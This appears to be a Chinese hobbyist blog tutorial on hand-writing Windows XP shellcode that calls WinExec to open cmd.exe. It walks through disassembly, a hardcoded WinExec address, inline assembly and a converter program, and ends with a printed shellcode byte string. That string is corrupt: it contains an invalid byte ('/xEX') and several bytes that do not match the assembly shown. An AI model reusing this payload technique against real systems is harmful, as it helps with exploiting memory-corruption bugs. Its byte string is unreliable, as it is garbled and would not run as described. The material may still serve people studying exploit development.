很久沒有寫部落格了,今天寫寫一個以前沒有寫過的話題,緩衝區溢位shellcode編寫。
我是菜鳥,以前沒有寫過shellcode,最近也在忙著網路的滲透,棧溢出也是零零碎碎的看到一些知識,大牛飄過,菜鳥言論僅供娛樂。
大家同是菜鳥的人可以看看,我是站在初學者的角度寫這篇文章的,所以初學者應該比較容易理解。
對於一些複雜的shellcodet我們暫且先不談,我們先來看看自己編寫一個開啟cmd視窗的shellcode。其實駭客防線上有位大神執筆寫了一系列exploit的編寫,有興趣的人自己去看看。
首先我們需要瞭解一下windows的運行機制。我們先寫一個簡單的開啟本地cmd視窗的程式:
#include<windows.h><br />Void main()<br />{<br /> WinExec(“cmd.exe”,1);<br />}<br />
在Visual C++上按F10進入反組譯碼代碼:
1:#include”windows.h”<br />2:void main()<br />3: {<br />00401010 push ebp<br />00401011 mov ebp,esp<br />00401013 sub esp,40h<br />00401016 push ebx<br />00401017 push esi<br />00401018 push edi<br />00401019 lea edi,[ebp-40h]<br />0040101C mov ecx,10h<br />00401021 mov eax,0CCCCCCCCh<br />00401026 rep stos dword ptr [edi]<br />4: WinExec("cmd.exe",1);<br />00401028 mov esi,esp<br />0040102A push 1<br />0040102C push offset string "cmd.exe" (0041f01c)<br />00401031 call dword ptr [__imp__WinExec@8 (0042413c)]<br />00401037 cmp esi,esp<br />00401039 call __chkesp (00401070)<br />5: }<br />
通過這個程式我們可以清楚的看到電腦在調用WinExec函數的時候是先把兩個參數從右至左一次壓入棧,然後調用call函數轉到WinExec的地址去。但是要注意的是call函數除了實現地址的跳轉還有一點就是把當前的EIP壓入棧。
對於shellcode是機器碼,大多數人看到都會暈乎乎的,但是不用怕,我們所要做的工作不是用機器碼寫這一大堆東西,這些電腦已經為我們做的很好了,我們所要做的就是用彙編甚至是進階語言寫下我們要實現的代碼。
但目前其實目的已經很明確,我們要調用WinExec函數就要知道在不同系統中WinExec函數所在的地址,那麼用什麼方法知道這個函數所在的地址呢?這裡我介紹一種非常簡便的辦法,使用vc內建的depends工具。開啟Depends,隨便拖一個PE檔案進去如:
我們可以看到KERNEL.DLL的入口地址是0x7c800000而WinExec的入口地址是0x0006250D那麼WinExec的地址就出來了兩個相加得到0x7C86250D,這個方法是不是很簡單?另外本菜鳥使用的是windows XP sp3不同的系統可能有所不同。
有了入口地址,我們可以用彙編來編寫我們的shellcode,
#include<windows.h><br />void main()<br />{<br />_asm<br />{<br />push ebp<br />mov ebp,esp<br />xor edi,edi<br />push edi<br />sub esp,04h<br />mov [ebp-08h],63h<br /> mov [ebp-07h],6Dh<br />mov [ebp-06h],64h<br />mov [ebp-05h],2Eh<br />mov [ebp-04h],65h<br />mov [ebp-03h],78h<br />mov [ebp-02h],65h<br />push 1 //壓入第一個參數<br />lea eax,[ebp-08h]<br />push eax //壓入第二個參數<br />mov edx,0x7C86250D<br />call edx //調用WinExec<br />leave<br />};<br />}<br />
按F10進入反組譯碼調試器中,在按Alt+8看到彙編代碼,此時並沒有機器碼啊,別著急,在空白的地方右擊出現的下拉式功能表中選中Code Byte一項。看看出現了什嗎?在每一行彙編代碼前出現了機器碼!如
下面要做的工作就是把這些機器碼抄下來了,這個是體力活。直接抄在一起比如:558BEC83EC……那麼我們還要在每兩個字母前手動添加/x嗎?當然不用,寫一個小程式,一勞永逸:
#include "stdio.h"<br />#include "stdlib.h"<br />int main()<br />{<br />FILE *fp1=NULL,*fp2=NULL;<br />char ch,filename[20]={0};<br />printf("請輸入檔案路徑:(注意字元轉義)/n");<br />scanf("%s",filename);<br /> if((fp1=fopen(filename,"rb"))==NULL)<br />{<br />printf("不能讀取檔案!/n");<br /> exit(0);<br />}<br />if((fp2=fopen("d://shellcode.txt","w+"))==NULL)<br />{<br />printf("不能寫入檔案!/n");<br /> exit(0);<br />}<br />while (!feof(fp1))<br />{<br />ch=fgetc(fp1);<br />fputc('//',fp2);<br />fputc('x',fp2);<br />fputc(ch,fp2);<br /> ch=fgetc(fp1);<br />fputc(ch,fp2);<br />}<br />printf("轉換成功!");<br />fclose(fp1);<br />fclose(fp2);<br />return 0;</p><p>}<br />
最終轉換的shellcode就是
/x55/x8B/xEX/x83/xEC/x40/x53/x56/x57/x8D/x7D/xC0/xB9/x10/x11/x11/x11/xB8/xCC/xCC/xCC/xCC/xF3/x1B/x55/x8B/xEC/x33/xFF/x57/x83/xEC/x04/xC6/x45/xF8/x63/xC6/x45/xF9/x6D/xC6/x45/xFA/x64/xC6/x45/xFB/x2E/xC6/x45/xFC/x65/xC6/x45/xFD/x78/xC6/x45/xFE/x65/x6A/x01/x8D/x45/xF8/x50/xBA/x0D/x25/x86/x7C/xFF/xD2/xC9
到這裡該講的都講完了,還是那一句話,菜鳥言論,大牛飄過。。。